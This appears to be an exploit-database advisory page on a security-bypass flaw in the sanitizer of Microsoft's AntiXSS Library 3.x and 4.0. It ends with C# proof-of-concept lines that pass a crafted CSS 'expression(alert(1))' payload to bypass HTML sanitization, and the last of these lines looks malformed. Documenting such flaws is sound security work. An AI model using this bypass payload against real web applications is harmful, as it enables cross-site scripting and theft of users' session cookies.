Microsoft Anti-Cross Site Scripting (AntiXSS) Library Security Bypass Vulnerability

vendor:

Anti-Cross Site Scripting Library

by:

SecurityFocus

7,5

CVSS

HIGH

Security Bypass Vulnerability

CWE

Product Name: Anti-Cross Site Scripting Library

Affected Version From: 3.x

Affected Version To: 4.0

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

Microsoft Anti-Cross Site Scripting (AntiXSS) Library Security Bypass Vulnerability

Microsoft Anti-Cross Site Scripting (AntiXSS) Library is prone to a security-bypass vulnerability that affects the sanitization module. An attacker can exploit this vulnerability to bypass the filter and conduct cross-site scripting attacks. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials.

Mitigation:

Upgrade to the latest version of Microsoft Anti-Cross Site Scripting Library.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/51291/info

Microsoft Anti-Cross Site Scripting (AntiXSS) Library is prone to a security-bypass vulnerability that affects the sanitization module.

An attacker can exploit this vulnerability to bypass the filter and conduct cross-site scripting attacks. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials.

Microsoft Anti-Cross Site Scripting Library 3.x and 4.0 are vulnerable.

string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div>");

string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style="">aaa</div>")